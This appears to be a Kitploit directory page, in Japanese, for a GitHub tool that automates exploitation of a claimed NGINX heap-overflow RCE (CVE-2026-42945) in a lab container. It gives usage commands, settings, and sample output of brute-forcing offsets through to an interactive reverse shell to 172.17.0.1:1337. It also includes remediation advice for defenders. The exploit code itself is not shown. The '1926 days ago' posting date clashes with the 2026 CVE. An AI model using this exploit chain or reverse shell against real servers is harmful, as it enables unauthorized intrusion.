Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-42945_NginxRift — NGINXコンテナにおけるCVE-2026-42945の悪用を自動化します:脆弱なターゲットを検証し、ヒープオフセットをブルートフォースし、コマンドを実行し、インタラクティブなリバースシェルを開きます。 | Kitploit
ツール/GitHubGitHub/kentox493/cve-2026-42945_nginxrift
コンテナセキュリティ脆弱性分析エクスプロイトウェブアプリケーション悪用CTFペネトレーションテストレッドチーミングバイナリエクスプロイト

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
GitHub
kentox493/cve-2026-42945_nginxrift

CVE-2026-42945_NginxRift

NGINXコンテナにおけるCVE-2026-42945の悪用を自動化します:脆弱なターゲットを検証し、ヒープオフセットをブルートフォースし、コマンドを実行し、インタラクティブなリバースシェルを開きます。

リポジトリを見る
1926日前未レビュー

🚀 NGINX Rift PoC Automation — CVE-2026-42945

nginx-rift コンテナのRCEエクスプロイト用 PoC Automation Driver · ターゲット検証 → シングルコマンドエクスプロイト → 対話型リバースシェル

Shell Python Platform License

1つのコマンドが、コンテナ確認からシェル取得までのエクスプロイト全体の流れをオーケストレーションします。


⚠️ 倫理的・法的警告 このツールは正当かつ許可を得たセキュリティテスト専用です — 契約済みのペンテスト、ラボ/CTF、または自己所有の資産。システム所有者の許可なく使用することは犯罪行為となります(ITE法、Computer Fraud and Abuse Act など)。使用はすべて利用者の責任です。


📖 脆弱性の概要

CVE-2026-42945 は、NGINX "Rift" 構成における*リモートコード実行(RCE)*の脆弱性です — 特定の location ブロック(/api/users/...)によって引き起こされる、ngx_http_rewrite_module モジュールのヒープベースのバッファオーバーフローバグです。影響として、攻撃者はコンテナ内の system() ハンドラを介してコマンドを実行できます。

このリポジトリには2つのコンポーネントが含まれています:

ファイル機能
poc.pyExploit ドライバ — ヒープオフセットのブルートフォース、2つのモード: --cmd(単一コマンド)& --shell(リバースシェル)
scan.sh自動化オーケストレータ — ターゲット検証、PoC 実行、結果検証、および対話型シェルセッション

🏗 ワークフロー

root@kitploit:~
┌─────────────────────────────┐
│         scan.sh             │
│  Mode: auto / cmd / shell   │
└─────────────┬───────────────┘
              ▼
      [0] Preflight
      cek docker, curl, python3,
      nc, timeout + poc.py ada
              ▼
      [1] Verifikasi Target
      docker ps (label compose)
      → curl /api/users/42 (HTTP 200)
              ▼
      [2] PoC --cmd (max 3× retry)
      python3 poc.py --cmd 'echo hello
      from depthfirst > /tmp/pwned'
              │
              ▼ (timeout 300s per attempt)
      Verifikasi ground-truth:
      docker exec cat /tmp/pwned
              ▼
      [3] PoC --shell (opsional)
      listener 172.17.0.1:1337
      → prompt /bin/sh interaktif

⚙️ システム要件

オペレーター(スクリプトを実行するホスト):

  • Linux (bash) — Kali / Ubuntu / Debian でテスト済み
  • docker(sudo または docker グループのユーザー)
  • python3 + poc.py(scan.sh と同じディレクトリにあること)
  • curl、nc(netcat)、timeout(coreutils)

ターゲット(ラボ):

  • コンテナ nginx-rift が起動している(docker compose でプロビジョニング済み)
  • ホストポート 19321 が 127.0.0.1 で開放されている
  • コンテナが Docker ブリッジに接続されている(ホストのリスナーはデフォルト 172.17.0.1)

📥 インストール

root@kitploit:~
# 1. Clone
git clone https://github.com/Kentox493/CVE-2026-42945_NginxRift.git
cd CVE-2026-42945_NginxRift

# 2. Pastikan executable
chmod +x scan.sh

# 3. (Opsional) Verifikasi dependensi
command -v docker python3 curl nc timeout

scan.sh と poc.py は同じディレクトリに置く必要があります。


🚀 使用方法

root@kitploit:~
./scan.sh          # alur lengkap (default: auto)
./scan.sh cmd      # hanya PoC single-command + verifikasi marker
./scan.sh shell    # langsung reverse-shell interaktif
./scan.sh help     # tampilkan bantuan

auto モード(デフォルト)

  1. Preflight — すべての依存関係を確認。
  2. ターゲットの検証 — コンテナは起動しているか? HTTP 200 か?
  3. PoC --cmd — コンテナ内の /tmp/pwned にマーカー hello from depthfirst を書き込む(自動リトライ最大3回、タイムアウト300秒/試行)。
  4. 結果の検証 — docker exec cat /tmp/pwned にマーカーが含まれている必要がある(出力を読むだけではなく、グラウンドトゥルース確認)。
  5. リバースシェルに進むかどうかのプロンプト → y で対話型セッション。

shell モード

root@kitploit:~
./scan.sh shell

リスナー 172.17.0.1:1337 で poc.py --shell を実行します。ブルートフォースが成功すると、コンテナ内で NGINX worker ユーザーとして対話型の /bin/sh プロンプトが得られます。

注意: IP 172.17.0.1 は Docker デフォルトブリッジ上のホストアドレスです。ブリッジが異なる場合(docker network inspect bridge)、scan.sh 上部の LISTEN_IP 変数を変更してください。


🔧 変更可能な設定

すべてのパラメータは scan.sh 上部の設定ブロックにまとめられています:


📸 出力例

root@kitploit:~
┌──────────────────────────────────────────────────────────────┐
│  NGINX RIFT · CVE-2026-42945 · PoC Automation Driver  │
└──────────────────────────────────────────────────────────────┘

── 0 ── Preflight
[+] Semua dependensi tersedia (docker, curl, python3, nc, timeout, poc.py)

── 1 ── Verifikasi Container & Target
[+] Container 'nginx-rift-nginx-1' berjalan
[+] Target responsif (HTTP 200): http://127.0.0.1:19321/api/users/42

── 2 ── PoC Single-Command (--cmd)
[i] Payload : echo hello from depthfirst > /tmp/pwned
[i] Target  : 127.0.0.1:19321
[!] Percobaan 1/3 — brute-force loop berjalan (timeout 300s)...

[*] trying offset 0x8a0
[*] crashed - system("...") executed
[i] Percobaan 1 selesai dalam 42 detik (rc=0)
[+] Exploit BERHASIL — marker terverifikasi: 'hello from depthfirst' (milik root)

[?] Lanjut ke reverse-shell interaktif? [y/N]: y

── 3 ── PoC Reverse-Shell (--shell)
[i] Reverse shell akan terhubung ke 172.17.0.1:1337
[i] poc.py membuka listener netcat lokal lalu menjalankan brute-force

[+] Connection from 172.18.0.2:49312
/bin/sh: 0# id
uid=1000(nginx) gid=1000(nginx) groups=1000(nginx)

🛠 トラブルシューティング


🛡 是正措置(Blue Team 向け)

  1. NGINX にパッチを適用 — ngx_http_rewrite_module を修正したバージョンにアップグレード / Rift 構成を削除。
  2. 露出を制限 — コンテナのポートを 0.0.0.0 に公開しない;内部ネットワーク + WAF 付きリバースプロキシを使用。
  3. 最小権限 — NGINX worker を追加権限なしで実行;--privileged でコンテナを実行しない。
  4. 監視 — /api/users/ への不審なリクエスト(非数値パターン、長いペイロード)をアラートし、nginx プロセスからの /bin/sh 起動を検出。
  5. ネットワーク分離 — コンテナのブリッジをホストから分離;コンテナの egress を制限してリバースシェルを困難にする。

📁 リポジトリ構造

root@kitploit:~
CVE-2026-42945_NginxRift/
├── scan.sh     # Automation orchestrator (bash) — verifikasi, PoC, verifikasi marker, shell
├── poc.py      # Exploit driver (python) — brute-force heap offset, mode --cmd / --shell
└── README.md   # Dokumentasi ini

⚖️ 免責事項とライセンス

正当な使用のみを対象としています。 このツールは以下を目的としています:

  • プロフェッショナルなペネトレーションテスト(書面による契約)
  • セキュリティ研究と責任ある開示
  • ラボ / CTF 環境

このツールをどのようなインフラストラクチャで実行する場合も、システム所有者からの書面による許可が必須です。

本リポジトリは、いかなる保証もなく「現状のまま」提供されます。コントリビューターは不正使用について一切責任を負いません。

ライセンス: MIT


📚 参考

  • CVE-2026-42945 — NVD / MITRE
  • NGINX ngx_http_rewrite_module — 公式ドキュメント
  • Docker Compose — ドキュメント
ツールをダウンロード
項目詳細
CVECVE-2026-42945
タイプRemote Code Execution(RCE)
コンポーネントNGINX(ngx_http_rewrite_module)— "Rift" 構成
トリガー脆弱な location ブロック(/api/users/{id})へのリクエスト
影響コンテナ内で NGINX worker ユーザーとして任意のコマンドを実行
ラボ環境コンテナ nginx-rift-nginx-1 — ホストポート 19321
変数デフォルト機能
DOCKERsudo dockerユーザーが docker グループに属している場合は docker に変更
PROJECT_LABELcom.docker.compose.project=nginx-riftコンテナ識別用フィルター
CONTAINERnginx-rift-nginx-1ターゲットコンテナ名
TARGET_HOST / TARGET_PORT127.0.0.1 / 19321ターゲットアドレス
LISTEN_IP / LISTEN_PORT172.17.0.1 / 1337リバースシェル用リスナー
MARKER_FILE / MARKER_EXPECT/tmp/pwned / hello from depthfirst実行の検証
CMD_TIMEOUT300試行ごとの制限時間(秒)
MAX_ATTEMPTS3PoC --cmd のリトライ回数
問題解決策
Container ... tidak berjalancd <project-dir> && sudo docker compose up -d を実行し、再試行する
HTTP 000 / connection refusedポート 19321 の準備がまだ — 数秒待って docker ps で確認
File 'poc.py' tidak ditemukanscan.sh をリポジトリディレクトリから実行(poc.py と同じディレクトリに置く)
PoC --cmd が連続して失敗する(3回)MAX_ATTEMPTS / CMD_TIMEOUT を上げる;カーネルと NGINX バージョンがラボと一致していることを確認
リバースシェルが接続しないLISTEN_IP がブリッジと一致しているか確認(docker network inspect bridge);ポート 1337 が使用されていないことを確認
エラー unrecognized argumentspoc.py のバージョンが --listen-ip/--listen-port フラグをサポートしているか確認(python3 poc.py -h を参照)